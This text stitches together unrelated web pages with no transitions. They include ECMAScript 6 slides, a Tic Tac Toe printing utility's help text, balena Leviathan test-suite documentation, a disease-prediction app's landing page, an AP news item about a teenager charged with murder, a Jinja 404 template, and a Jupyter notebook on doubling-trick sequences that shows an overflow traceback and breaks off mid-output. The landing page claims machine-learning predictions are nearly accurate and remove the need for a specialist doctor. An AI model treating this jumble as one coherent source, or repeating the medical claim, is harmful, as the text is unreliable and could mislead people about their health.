Sorry! Your browser is unable to load the Impress slideshow. Try reloading the page in Google Chrome or Safari.
ECMAScript 6
Run through basic new features
What is ECMAScript 6
- Also known as ECMAScript 2015 or Harmony
- Latest version of the ECMAScript standard
- ES6 is a significant update to the language, the first update since ES5 was standardized in 2009
- Brings loads of new awesome features!
How can I use it?
Do you feel lucky?
Better use a transpiler:
This will convert your code to ES5
Lets dig into
what's new!
The let keyword
New way of defining variables
Why do we need it?
What is it good for?
Unlike var...
- No Hoisting - Block scoped
- Less error prone
- Easier to debug
- Less memory leaks
let's re-declare variables
Awesome
so... let is the new var, right?
Not so fast...
The const keyword
What?
The const keyword
- No hoisting
- Assignment during runtime
- Reference only
Default parameters
tip: pass undefined to use default
Arrow Functions
Before:
ES6:
tip: cannot be used as object constructors
Defining object properties
Before:
ES6:
Template strings
Template strings
Template strings
Template strings
This is just the tip of the Iceberg
Hope you enjoyed it


Select Tic Tac Toe Size:
Select Paper Size:
cm
Load image:
Be sure you select your desired page size before printing or creating the PDF. In the print dialog, use the same paper size and ensure that scaling is set to 100%.
Standard paper sizes can be used for any version of Tic Tac Toe. For stage sizes, each square will be divided vertically and printed on two pages. If you wish, you can adjust the settings to control the amount of overlap between the two pieces.
You can print each stage sized square on a single tabloid or A3 sized piece paper. When printing, be sure to use the correct paper size.
Instead of printing directly from your browser, you can save as a PDF file. This is particularly uesful if you plan to send the file to a printing company.
Theoretically, this utility should work in all modern browsers. Reality is never that simple. Given that this is a "quick and dirty" utility, there's a limit to how many hours I'm willing to spend resolving browser specific compatibility issues. (Hey, remember what you paid for this!)
This utility was designed for Chrome. If you run into trouble with other browsers, you may want to try it in Chrome.
Other modern browsers I've tested work reasonably well. (Internet Explorer is not a modern browser. Don't use IE and expect good things!)
I'm not a Mac guy, so I don't know how it works in Safari.Give it a shot and let me know how it goes.
If you find issues or have ideas for improvements, you can let me know on the Github project page. I'll do what I can with the time I can commit to this.


Evolve
Go To Journal
Start New Entry
Logout
Exercise
# of Entries
New Entry
See Entries
Delete
Submit Entry


[§98-1] Short title. This chapter may be cited as the Uniform Electronic Legal Material Act. [L 2013, c 11, pt of §1]


The leviathan framework runs 'suites'. A suite is a collection of tests and a configuration for the environment. The current suite that runs on meta-balena & balena-raspberrypi PRs can be found here on GitHub.
Leviathan comprises a client, which sends test suites, and a testbot, which will listen for and execute suites. The client is a container that you can run on your laptop, or within an automated workflow to send tests to a testbot.
As you can see from the linked meta-balena directory, we can set up a directory containing a test suite as follows:
tests
- Folder containing actual testsconf.js
- File assigning configuration optionspackage.json
- File containing the node dependencies to install for the test suitesuite.js
- File where you can select what tests are run as part of the suite, and define your setup code to run before the tests start.Inside the tests folder, you can add the actual test logic. The recommended approach is to add a folder for each test (with an appropriate name), and inside, keep any assets associated with the test. The test can be written within a file called index.js
. The tests folder will look something like:
- tests
- test-1
- assets
- index.js - the test is written in this file
- test-2
- assets
- index.js
- .
- .
- etc
To add a new test, you could either create a new suite, or a add a test to an existing suite. For reference, an old PR adding a test to the OS test suite in Leviathan.
/tests
directory inside that suite.<MY_NEw_TEST>
, with an appropriate name for your test.index.js
fileindex.js
, test logic lives (details about writing the test logic are explained in the next section)suite.js
suite.js
, towards the botton of the file, there will be an array named tests
, add your new test to it like this:tests: [
'./tests/fingerprint',
'./tests/led',
'./tests/config-json',
'./tests/connectivity',
'./tests/<MY_NEw_TEST>',
],
package.json
Tests must be written in node, and are ingested by a framework called node-tap.
To write a new test, inside tests/<MY_NEw_TEST>/index.js
, we can use the following template (note that this file can contain a set of tests - you just have to have multiple objects in the tests
array!)
Each test is an asychnronous function, assigned to the run
attribute of a test.
'use strict';
module.exports = {
title: 'Your name for the collection of tests in this file goes here',
tests: [
{
title: 'The test name goes here',
run: async function(test) {
// put your test within an async function
// For example, we want to test this addition function
// let addition = (a,b) => a + b
// Here you can use an assertion to determine the result of the test for example:
// the `.is` assertion checks if result is === 42
// test.is(addition(4,5), 42, 'Message'); The test fails with Message!
// the `.is` assertion checks that result === 8
// test.is(addition(4,4), 8, 'Message'); The test passes!
},
},
],
};
The supported assertions can be found here: https://node-tap.org/docs/api/asserts/
More examples of test logic can be seen here: https://github.com/balena-os/meta-balena/blob/master/tests/suites/os/tests/fingerprint/index.js for a very simple test, and here: https://github.com/balena-os/meta-balena/blob/master/tests/suites/os/tests/connectivity/index.js for more complex tests.
A new test suite can be created using the folder structure described at the start of this document. A new folder in the suites folder will be the start of the new suite. After you are finished writing the test suite, add the path of the test suite to the suite
property in your workspace/config.js
Generated using TypeDoc


Welcome to the EasyMedic.
This website helps you predict the chances of you having disease using machine learning.It also helps you find location of hospitals nearest to you.This webapp is based on well trained machine and deep learning models to provide you near to accurate predictions.
A lot of people are suffering a lot without the help of the proper medical checkup.Also most of the cases many cases arise leading to dealth due to lack of timely medical checkup.
So, we bring this webapp for you to get warning signs based on your reports without the need of any specialist doctor.We are working on adding more diseases and make more robust sytems.


Girl, 14, charged in beating death of animal rescuer
PHILADELPHIA (AP) - Authorities say a 14-year-old girl has been charged with murder in the beating death of a well-known animal rescuer in his Philadelphia home.
Court documents indicate the teenager is also charged with robbery, evidence tampering and other counts in the Nov. 4 death of 59-year-old Albert Chernoff.
The Philadelphia Inquirer reports that Chernoff was pronounced dead at the scene after he was found partially tied to a bed with a head wound and slashing injuries on his chest.
Chernoff, a longtime city employee, went by the nickname of “Alley Cat” and used that name for his one-man cat rescue operation that was featured on the NATGeoTV reality show Rescue Ink.
The Defender Association of Philadelphia, listed in court documents as representing the teen, couldn’t be reached Sunday.
Information from: The Philadelphia Inquirer, http://www.inquirer.com
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


{% extends "base.html" %} {% block title %}404 Not Found{% endblock %} {% block head %} {{ super() }} {% endblock %} {% block content %}
The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
{% endblock %}


Table of Contents¶
1 Exploring different doubling tricks for different kinds of regret bounds
1.1 What do we want?
1.2 Dependencies
1.3 Defining the functions \(f\)
1.3.1 Cheating with a “safe” log
1.3.2 Geometric sequences
1.3.3 Exponential sequences
1.3.4 Generic function \(f\)
1.3.5 Some specific case of intermediate sequences
1.4 Defining the sequences and last term
1.4.1 Sequence \(f \mapsto (T_i)_i\)
1.4.2 Last term operator \(T \mapsto L_T\)
1.4.3 Helper for the plot
1.5 Plotting what we want
1.5.1 Plotting the values of the sequences
1.5.2 Plotting the ratio for our upper-bound
1.6 Results
1.6.1 Values of the doubling sequences
1.6.2 Bound in \(R_T \leq \mathcal{O}(\log(T))\)
1.6.3 Bound in \(R_T \leq \mathcal{O}(\sqrt{T})\)
1.6.4 Bound in \(R_T \leq \mathcal{O}(\sqrt{T \log(T)})\)
1.6.5 A last weird bound in \(R_T \leq \mathcal{O}(T^{2/3} \log(T))\) (just to try)
1.7 Conclusions
1.7.1 About geometric sequences
1.7.2 About exponential sequences
1.7.3 About intermediate sequences
Exploring different doubling tricks for different kinds of regret bounds¶
Author: Lilian Besson and Emilie Kaufmann,
License: MIT License.
Date: 19 September 2018.
What do we want?¶
This notebooks studies and plot the ratio between a sum like the following
and the quantity \(T^\gamma (\ln(T))^\delta\), where \(T \in\mathbb{N}\) is a time horizon of some multi-armed bandit problem, and \(\gamma,\delta \geq 0\) but not simultaneously zero.
The successive horizon (in a doubling trick scheme) are defined by \(\forall i\in\mathbb{N},\; T_i := \lfloor \exp(\alpha \times \exp(f(i))) \rfloor\), for some function \(f: i \mapsto f(i)\).
We study a generic form of functions \(f\), with parameters \(c,d,e \geq 0\): \(f(i) = c (i^d) (\log(i))^e\).
\(d, e = 0, 1\) corresponds to the geometric doubling trick, with \(T_i = \mathcal{O}(2^i)\),
\(d, e = 1, 0\) corresponds to the exponential doubling trick, with \(T_i = \mathcal{O}(2^{2^i})\),
we are curious about intermediate sequences, that grow faster than any geometric scheme but slower than any exponential scheme. Mathematically, it corresponds to the generic case of \(0 < d < 1\) and \(e \geq 0\).
Moreover, we are especially interested in these two cases: - \(\gamma, \delta = 0, 1\) for bounds in regret like \(R_T(\mathcal{A}) = \mathcal{O}(\log T)\) (stochastic problem and problem dependent bounds), - \(\gamma, \delta = 1/2, 0\) for bounds in regret like \(R_T(\mathcal{A}) = \mathcal{O}(\sqrt{T})\) (stochastic problem and worst-case bounds, ie “minimax bounds”, or adversarial regret).
To conclude these quick explanation, the notation \(L_T\) is the “last term operator”, for a fixed increasing sequence \((T_i)_{i\in\mathbb{N})\):
Dependencies¶
Here we import some code.
[1]:
!pip install watermark
%load_ext watermark
%watermark -v -m -p numpy,matplotlib,seaborn -a "Lilian Besson and Emilie Kaufmann"
Requirement already satisfied: watermark in ./venv3/lib/python3.6/site-packages (1.7.0)
Requirement already satisfied: ipython in ./venv3/lib/python3.6/site-packages (from watermark) (7.1.1)
Requirement already satisfied: pexpect; sys_platform != "win32" in ./venv3/lib/python3.6/site-packages (from ipython->watermark) (4.6.0)
Requirement already satisfied: prompt-toolkit<2.1.0,>=2.0.0 in ./venv3/lib/python3.6/site-packages (from ipython->watermark) (2.0.7)
Requirement already satisfied: setuptools>=18.5 in ./venv3/lib/python3.6/site-packages (from ipython->watermark) (40.6.2)
Requirement already satisfied: pygments in ./venv3/lib/python3.6/site-packages (from ipython->watermark) (2.2.0)
Requirement already satisfied: pickleshare in ./venv3/lib/python3.6/site-packages (from ipython->watermark) (0.7.5)
Requirement already satisfied: decorator in ./venv3/lib/python3.6/site-packages (from ipython->watermark) (4.3.0)
Requirement already satisfied: jedi>=0.10 in ./venv3/lib/python3.6/site-packages (from ipython->watermark) (0.13.1)
Requirement already satisfied: traitlets>=4.2 in ./venv3/lib/python3.6/site-packages (from ipython->watermark) (4.3.2)
Requirement already satisfied: backcall in ./venv3/lib/python3.6/site-packages (from ipython->watermark) (0.1.0)
Requirement already satisfied: ptyprocess>=0.5 in ./venv3/lib/python3.6/site-packages (from pexpect; sys_platform != "win32"->ipython->watermark) (0.6.0)
Requirement already satisfied: six>=1.9.0 in ./venv3/lib/python3.6/site-packages (from prompt-toolkit<2.1.0,>=2.0.0->ipython->watermark) (1.11.0)
Requirement already satisfied: wcwidth in ./venv3/lib/python3.6/site-packages (from prompt-toolkit<2.1.0,>=2.0.0->ipython->watermark) (0.1.7)
Requirement already satisfied: parso>=0.3.0 in ./venv3/lib/python3.6/site-packages (from jedi>=0.10->ipython->watermark) (0.3.1)
Requirement already satisfied: ipython-genutils in ./venv3/lib/python3.6/site-packages (from traitlets>=4.2->ipython->watermark) (0.2.0)
Lilian Besson and Emilie Kaufmann
CPython 3.6.6
IPython 7.1.1
numpy 1.15.4
matplotlib 3.0.2
seaborn 0.9.0
compiler : GCC 8.0.1 20180414 (experimental) [trunk revision 259383
system : Linux
release : 4.15.0-38-generic
machine : x86_64
processor : x86_64
CPU cores : 4
interpreter: 64bit
[3]:
from __future__ import division, print_function # Python 2 compatibility
__author__ = "Lilian Besson and Emilie Kaufmann"
import numpy as np
import matplotlib as mpl
import matplotlib.pyplot as plt
import seaborn as sns
[4]:
mpl.rcParams['figure.figsize'] = (16, 9)
Change here if needed, use 128 bits floats instead of 64 bits.
[5]:
_f = np.float
_f = np.float128
Defining the functions \(f\)¶
Let’s start by defining the functions.
This is some experimental code to plot some doubling sequences and check numerically some inequalities : like controlling a sum \(\Sigma_i=0^n u_i\) by a constant times to last term \(u_n\) and controlling the last term \(u_{L_T}\) as a function of \(T\).
[6]:
#: The constant c in front of the function f.
constant_c_for_the_functions_f = _f(1.0)
constant_c_for_the_functions_f = _f(0.1)
constant_c_for_the_functions_f = _f(0.5)
We recall that we are interested by sequences \((T_i)_i\) that grows about
and
for \(c > 0, d \geq 0, e \geq 0\) and \(d, e\) not zero simultaneously.
Cheating with a “safe” log¶
I don’t want to have \(\log(T_i - T_{i-1}) = -\infty\) if \(T_i = T_{i-1}\) but I want \(\log(0) = 0\). Let’s hack it!
[7]:
def mylog(x):
res = np.log(x)
if np.shape(res):
res[np.isinf(res)] = _f(0.0)
else:
if np.isinf(res):
res = _f(0.0)
return res
Geometric sequences¶
[8]:
def function_f__for_geometric_sequences(i, c=constant_c_for_the_functions_f):
r""" For the *geometric* doubling sequences, :math:`f(i) = c \times \log(i)`."""
if i <= 0: return _f(0.0)
return c * mylog(i)
Exponential sequences¶
[9]:
def function_f__for_exponential_sequences(i, c=constant_c_for_the_functions_f):
r""" For the *exponential* doubling sequences, :math:`f(i) = c \times i`."""
return c * i
Generic function \(f\)¶
As soon as \(0 < d < 1\), no matter the value of \(e\), \(T_i\) will essentially faster than any geometric sequence and slower than any exponential sequence.
[10]:
def function_f__for_generic_sequences(i, c=constant_c_for_the_functions_f, d=_f(0.5), e=_f(0.0)):
r""" For a certain *generic* family of doubling sequences, :math:`f(i) = c \times i^{d} \times (\log(i))^{e}`.
- ``d, e = 0, 1`` gives :func:`function_f__for_geometric_sequences`,
- ``d, e = 1, 0`` gives :func:`function_f__for_geometric_sequences`,
- ``d, e = 0.5, 0`` gives an intermediate sequence, growing faster than any geometric sequence and slower than any exponential sequence,
- any other combination has not been studied yet.
.. warning:: ``d`` should most probably be smaller than 1.
"""
i = float(i)
if i <= 0: return _f(0.0)
if e == 0:
assert d > 0, "Error: invalid value of d = {} for function_f__for_generic_sequences, cannot be <= 0.".format(d) # DEBUG
return c * (i ** d)
assert e > 0, "Error: invalid value of e = {} for function_f__for_generic_sequences, cannot be <= 0.".format(e) # DEBUG
if d == 0:
return c * ((mylog(i)) ** e)
return c * (i ** d) * ((mylog(i)) ** e)
Some specific case of intermediate sequences¶
Analytically (mathematically) we started to study \(f(i) = \sqrt{i}\).
[11]:
def function_f__for_intermediate_sequences(i):
return function_f__for_generic_sequences(i, c=constant_c_for_the_functions_f, d=_f(0.5), e=_f(0.0))
And empirically, I’m curious about other sequences, including \(f(i) = i^{1/3}\), \(f(i) = i^{2/3}\) and \(f(i) = \sqrt{i} \sqrt{\log(i)}\).
[12]:
def function_f__for_intermediate2_sequences(i):
return function_f__for_generic_sequences(i, c=constant_c_for_the_functions_f, d=_f(0.3333), e=_f(0.0))
def function_f__for_intermediate3_sequences(i):
return function_f__for_generic_sequences(i, c=constant_c_for_the_functions_f, d=_f(0.6667), e=_f(0.0))
def function_f__for_intermediate4_sequences(i):
return function_f__for_generic_sequences(i, c=constant_c_for_the_functions_f, d=_f(0.5), e=_f(0.5))
Defining the sequences and last term¶
[13]:
#: Value of the parameter :math:`\alpha` for the :func:`Ti_from_f` function.
alpha_for_Ti = _f(0.1)
alpha_for_Ti = _f(1.0)
alpha_for_Ti = _f(0.5)
Sequence \(f \mapsto (T_i)_i\)¶
We need to define a function that take \(f\) and give the corresponding sequence \((T_i)\), given as a function \(Ti: i \mapsto T_i\).
[14]:
def Ti_from_f(f, alpha=alpha_for_Ti, *args, **kwargs):
r""" For any non-negative and increasing function :math:`f: i \mapsto f(i)`, the corresponding sequence is defined by:
.. math:: \forall i\in\mathbb{N},\; T_i := \lfloor \exp(\alpha \times \exp(f(i))) \rfloor.
.. warning:: :math:`f(i)` can need other parameters, see the examples above. They can be given as ``*args`` or ``**kwargs`` to :func:`Ti_from_f`.
.. warning:: it should be computed otherwise, I should give :math:`i \mapsto \exp(f(i))` instead of :math:`f: i \mapsto f(i)`. I need to try as much as possible to reduce the risk of overflow errors!
"""
# WARNING don't forget the floor!
def Ti(i):
this_Ti = np.floor(np.exp(alpha * np.exp(f(float(i), *args, **kwargs))))
if not (np.isinf(this_Ti) or np.isnan(this_Ti)):
this_Ti = int(this_Ti)
# print(" For f = {}, i = {} gives Ti = {}".format(f, i, this_Ti)) # DEBUG
return this_Ti
return Ti
Last term operator \(T \mapsto L_T\)¶
Then we can define the “last term operator”, by a naive search (and not an analytic derivation). I don’t care if this is not efficient, it works and at least we are sure that \(L_T\) satisfies its definition.
[15]:
def last_term_operator_LT(Ti, max_i=10000):
r""" For a certain function representing a doubling sequence, :math:`T: i \mapsto T_i`, this :func:`last_term_operator_LT` function returns the function :math:`L: T \mapsto L_T`, defined as:
.. math:: \forall T\in\mathbb{N},\; L_T := \min\{ i \in\mathbb{N},\; T \leq T_i \}.
:math:`L_T` is the only integer which satisfies :math:`T_{L_T - 1} < T \leq T_{L_T}`.
"""
def LT(T, max_i=max_i):
i = 0
while Ti(i) < T: # very naive loop!
i += 1
if i >= max_i:
raise ValueError("LT(T={T}) was unable to find a i <= {max_i} such that T_i >= T.".format(T, max_i)) # DEBUG
assert Ti(i - 1) < T <= Ti(i), "Error: i = {} was computed as LT for T = {} and Ti = {} but does not satisfy T_(i-1) < T <= T(i)".format(i, T, Ti) # DEBUG
# print(" For LT: i = {} was computed as LT for T = {} and Ti = {} and satisfies T(i-1) = {} < T <= T(i) = {}".format(i, T, Ti, Ti(i-1), Ti(i))) # DEBUG
return i
return LT
Helper for the plot¶
[16]:
def markers_colors(nb):
"""Make unique markers and colors for nb plots."""
allmarkers = ['o', 'D', 'v', 'p', '<', 's', '^', '*', 'h', '>']
longlist = allmarkers * (1 + int(nb / float(len(allmarkers)))) # Cycle the good number of time
markers = longlist[:nb] # Truncate
colors = sns.hls_palette(nb + 1)[:nb]
return markers, colors
Plotting what we want¶
By default, we will study the following doubling sequences:
Geometric doubling with \(d=0, e=1\),
Intermediate doubling with \(d=1/2, e=0\) (the one I’m excited about),
Intermediate doubling with \(d=1/3, e=0\),
Intermediate doubling with \(d=2/3, e=0\),
Intermediate doubling with \(d=1/2, e=1/2\),
Exponential doubling with \(d=1, e=0\).
Plotting the values of the sequences¶
First, we want to check how much do these sequences increase.
[17]:
def plot_doubling_sequences(
i_min=1, i_max=30,
list_of_f=(
function_f__for_geometric_sequences,
function_f__for_intermediate_sequences,
function_f__for_intermediate2_sequences,
function_f__for_intermediate3_sequences,
function_f__for_intermediate4_sequences,
function_f__for_exponential_sequences,
),
label_of_f=(
"Geometric doubling (d=0, e=1)",
"Intermediate doubling (d=1/2, e=0)",
"Intermediate doubling (d=1/3, e=0)",
"Intermediate doubling (d=2/3, e=0)",
"Intermediate doubling (d=1/2, e=1/2)",
"Exponential doubling (d=1, e=0)",
),
*args, **kwargs
):
r""" Display a plot to illustrate the values of the :math:`T_i` as a function of :math:`i` for some i.
- Can accept many functions f (and labels).
"""
markers, colors = markers_colors(len(list_of_f))
fig = plt.figure()
i_s = np.arange(i_min, i_max, dtype=np.float128)
# now for each function f
for num_f, (f, la) in enumerate(zip(list_of_f, label_of_f)):
print("\n\nThe {}th function is referred to as {} and is {}".format(num_f, la, f)) # DEBUG
Ti = Ti_from_f(f)
values_of_Ti = [Ti(i) for i in i_s]
plt.plot(i_s, values_of_Ti, label=la, lw=4, ms=7, color=colors[num_f], marker=markers[num_f])
plt.legend()
plt.xlabel(r"Value of the time horizon $i = {},...,{}$".format(i_min, i_max))
plt.title(r"Comparison of the values of $T_i$")
plt.show()
# return fig
Plotting the ratio for our upper-bound¶
[18]:
def plot_quality_first_upper_bound(
Tmin=2, Tmax=int(1e8), nbTs=100,
gamma=_f(0.0), delta=_f(1.0), # XXX bound in RT <= log(T)
# gamma=_f(0.5), delta=_f(0.0), # XXX bound in RT <= sqrt(T)
# gamma=_f(0.5), delta=_f(0.5), # XXX bound in RT <= sqrt(T * log(T))
# gamma=_f(0.66667), delta=_f(1.0), # XXX another weird bound in RT <= T^2/3 * log(T)
list_of_f=(
function_f__for_geometric_sequences,
function_f__for_intermediate_sequences,
function_f__for_intermediate2_sequences,
function_f__for_intermediate3_sequences,
function_f__for_intermediate4_sequences,
function_f__for_exponential_sequences,
),
label_of_f=(
"Geometric doubling (d=0, e=1)",
"Intermediate doubling (d=1/2, e=0)",
"Intermediate doubling (d=1/3, e=0)",
"Intermediate doubling (d=2/3, e=0)",
"Intermediate doubling (d=1/2, e=1/2)",
"Exponential doubling (d=1, e=0)",
),
show_Ti_m_Tim1=True,
*args, **kwargs
):
r""" Display a plot to compare numerically between the following sum :math:`S` and the upper-bound we hope to have, :math:`T^{\gamma} (\log T)^{\delta}`, as a function of :math:`T` for some values between :math:`T_{\min}` and :math:`T_{\max}`:
.. math:: S := \sum_{i=0}^{L_T} (T_i - T_{i-1})^{\gamma} (\log (T_i - T_{i-1}))^{\delta}.
- Can accept many functions f (and labels).
- Can use :math:`T_i` instead of :math:`T_i - T_{i-1}` if ``show_Ti_m_Tim1=False`` (default is to use the smaller possible bound, with difference of sequence lengths, :math:`T_i - T_{i-1}`).
.. warning:: This is still ON GOING WORK.
"""
markers, colors = markers_colors(len(list_of_f))
fig = plt.figure()
Ts = np.floor(np.linspace(_f(Tmin), _f(Tmax), num=nbTs, dtype=np.float128))
the_bound_we_want = (Ts ** gamma) * (mylog(Ts) ** delta)
# now for each function f
for num_f, (f, la) in enumerate(zip(list_of_f, label_of_f)):
print("\n\nThe {}th function is referred to as {} and is {}".format(num_f, la, f)) # DEBUG
Ti = Ti_from_f(f)
LT = last_term_operator_LT(Ti)
the_sum_we_have = np.zeros_like(Ts, dtype=np.float128)
for j, Tj in enumerate(Ts):
LTj = LT(Tj)
if show_Ti_m_Tim1:
the_sum_we_have[j] = sum(
((Ti(i)-Ti(i-1)) ** gamma) * (mylog((Ti(i)-Ti(i-1))) ** delta)
for i in range(1, LTj + 1)
)
else:
the_sum_we_have[j] = sum(
(Ti(i) ** gamma) * (mylog(Ti(i)) ** delta)
for i in range(0, LTj + 1)
)
# print("For j = {}, Tj = {}, gives LTj = {}, and the value of the sum from i=0 to LTj is = \n{}.".format(j, Tj, LTj, the_sum_we_have[j])) # DEBUG
plt.plot(Ts, the_sum_we_have / the_bound_we_want, label=la, lw=4, ms=4, color=colors[num_f], marker=markers[num_f])
plt.legend()
plt.xlabel(r"Value of the time horizon $T = {},...,{}$".format(Tmin, Tmax))
str_of_Tj_or_dTj = "T_i - T_{i-1}" if show_Ti_m_Tim1 else "T_i"
plt.title(r"Ratio of the sum $\sum_{i=0}^{L_T} (%s)^{\gamma} (\log(%s))^{\delta}$ and the upper-bound $T^{\gamma} \log(T)^{\delta}$, for $\gamma=%.3g$, $\delta=%.3g$." % (str_of_Tj_or_dTj, str_of_Tj_or_dTj, gamma, delta)) # DEBUG
plt.show()
# return fig
Results¶
Values of the doubling sequences¶
We check that the exponential sequence is growing WAY faster than all the others.
[19]:
plot_doubling_sequences()
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
The 3th function is referred to as Intermediate doubling (d=2/3, e=0) and is <function function_f__for_intermediate3_sequences at 0x7f0e2cbe0048>
The 4th function is referred to as Intermediate doubling (d=1/2, e=1/2) and is <function function_f__for_intermediate4_sequences at 0x7f0e2cbe00d0>
The 5th function is referred to as Exponential doubling (d=1, e=0) and is <function function_f__for_exponential_sequences at 0x7f0e2cbd3268>
/home/lilian/ownCloud/owncloud.crans.org/Crans/These_2016-17/src/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/ipykernel_launcher.py:12: RuntimeWarning: overflow encountered in exp
if sys.path[0] == '':
---------------------------------------------------------------------------
OverflowError Traceback (most recent call last)
<ipython-input-19-d34d7af5c931> in <module>
----> 1 plot_doubling_sequences()
<ipython-input-17-fb497b0fdf32> in plot_doubling_sequences(i_min, i_max, list_of_f, label_of_f, *args, **kwargs)
32 Ti = Ti_from_f(f)
33 values_of_Ti = [Ti(i) for i in i_s]
---> 34 plt.plot(i_s, values_of_Ti, label=la, lw=4, ms=7, color=colors[num_f], marker=markers[num_f])
35
36 plt.legend()
/tmp/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/matplotlib/pyplot.py in plot(scalex, scaley, data, *args, **kwargs)
2811 return gca().plot(
2812 *args, scalex=scalex, scaley=scaley, **({"data": data} if data
-> 2813 is not None else {}), **kwargs)
2814
2815
/tmp/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/matplotlib/__init__.py in inner(ax, data, *args, **kwargs)
1808 "the Matplotlib list!)" % (label_namer, func.__name__),
1809 RuntimeWarning, stacklevel=2)
-> 1810 return func(ax, *args, **kwargs)
1811
1812 inner.__doc__ = _add_data_doc(inner.__doc__,
/tmp/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/matplotlib/axes/_axes.py in plot(self, scalex, scaley, *args, **kwargs)
1610
1611 for line in self._get_lines(*args, **kwargs):
-> 1612 self.add_line(line)
1613 lines.append(line)
1614
/tmp/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/matplotlib/axes/_base.py in add_line(self, line)
1893 line.set_clip_path(self.patch)
1894
-> 1895 self._update_line_limits(line)
1896 if not line.get_label():
1897 line.set_label('_line%d' % len(self.lines))
/tmp/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/matplotlib/axes/_base.py in _update_line_limits(self, line)
1915 Figures out the data limit of the given line, updating self.dataLim.
1916 """
-> 1917 path = line.get_path()
1918 if path.vertices.size == 0:
1919 return
/tmp/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/matplotlib/lines.py in get_path(self)
943 """
944 if self._invalidy or self._invalidx:
--> 945 self.recache()
946 return self._path
947
/tmp/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/matplotlib/lines.py in recache(self, always)
643 if always or self._invalidy:
644 yconv = self.convert_yunits(self._yorig)
--> 645 y = _to_unmasked_float_array(yconv).ravel()
646 else:
647 y = self._y
/tmp/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/matplotlib/cbook/__init__.py in _to_unmasked_float_array(x)
1363 return np.ma.asarray(x, float).filled(np.nan)
1364 else:
-> 1365 return np.asarray(x, float)
1366
1367
/tmp/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/numpy/core/numeric.py in asarray(a, dtype, order)
499
500 """
--> 501 return array(a, dtype, copy=False, order=order)
502
503
OverflowError: int too large to convert to float
And without this faster sequence, just for the first \(10\) first sequences:
[20]:
plot_doubling_sequences(
i_max=10,
list_of_f=(
function_f__for_geometric_sequences,
function_f__for_intermediate_sequences,
function_f__for_intermediate2_sequences,
function_f__for_intermediate3_sequences,
function_f__for_intermediate4_sequences,
),
label_of_f=(
"Geometric doubling (d=0, e=1)",
"Intermediate doubling (d=1/2, e=0)",
"Intermediate doubling (d=1/3, e=0)",
"Intermediate doubling (d=2/3, e=0)",
"Intermediate doubling (d=1/2, e=1/2)",
)
)
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
The 3th function is referred to as Intermediate doubling (d=2/3, e=0) and is <function function_f__for_intermediate3_sequences at 0x7f0e2cbe0048>
The 4th function is referred to as Intermediate doubling (d=1/2, e=1/2) and is <function function_f__for_intermediate4_sequences at 0x7f0e2cbe00d0>
And for the three slower sequences, an interesting observation is that the “intermediate” sequence with \(f(i) = i^{1/3}\) is comparable to \(f(i) = \log(i)\) (geometric one) for small values!
[21]:
plot_doubling_sequences(
i_max=14,
list_of_f=(
function_f__for_geometric_sequences,
function_f__for_intermediate_sequences,
function_f__for_intermediate2_sequences,
),
label_of_f=(
"Geometric doubling (d=0, e=1)",
"Intermediate doubling (d=1/2, e=0)",
"Intermediate doubling (d=1/3, e=0)",
)
)
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
Bound in \(R_T \leq \mathcal{O}(\log(T))\)¶
[22]:
gamma, delta = (_f(0.0), _f(1.0))
[23]:
plot_quality_first_upper_bound(Tmax=int(1e3), gamma=gamma, delta=delta, show_Ti_m_Tim1=True)
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
/home/lilian/ownCloud/owncloud.crans.org/Crans/These_2016-17/src/SMPyBandits/notebooks/venv3/lib/python3.6/site-packages/ipykernel_launcher.py:2: RuntimeWarning: divide by zero encountered in log
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
The 3th function is referred to as Intermediate doubling (d=2/3, e=0) and is <function function_f__for_intermediate3_sequences at 0x7f0e2cbe0048>
The 4th function is referred to as Intermediate doubling (d=1/2, e=1/2) and is <function function_f__for_intermediate4_sequences at 0x7f0e2cbe00d0>
The 5th function is referred to as Exponential doubling (d=1, e=0) and is <function function_f__for_exponential_sequences at 0x7f0e2cbd3268>
[24]:
plot_quality_first_upper_bound(gamma=gamma, delta=delta, show_Ti_m_Tim1=False)
The 0th function is referred to as Geometric doubling (d=0, e=1) and is <function function_f__for_geometric_sequences at 0x7f0e2cbc3ea0>
The 1th function is referred to as Intermediate doubling (d=1/2, e=0) and is <function function_f__for_intermediate_sequences at 0x7f0e2cbd3ae8>
The 2th function is referred to as Intermediate doubling (d=1/3, e=0) and is <function function_f__for_intermediate2_sequences at 0x7f0e2cbd3f28>
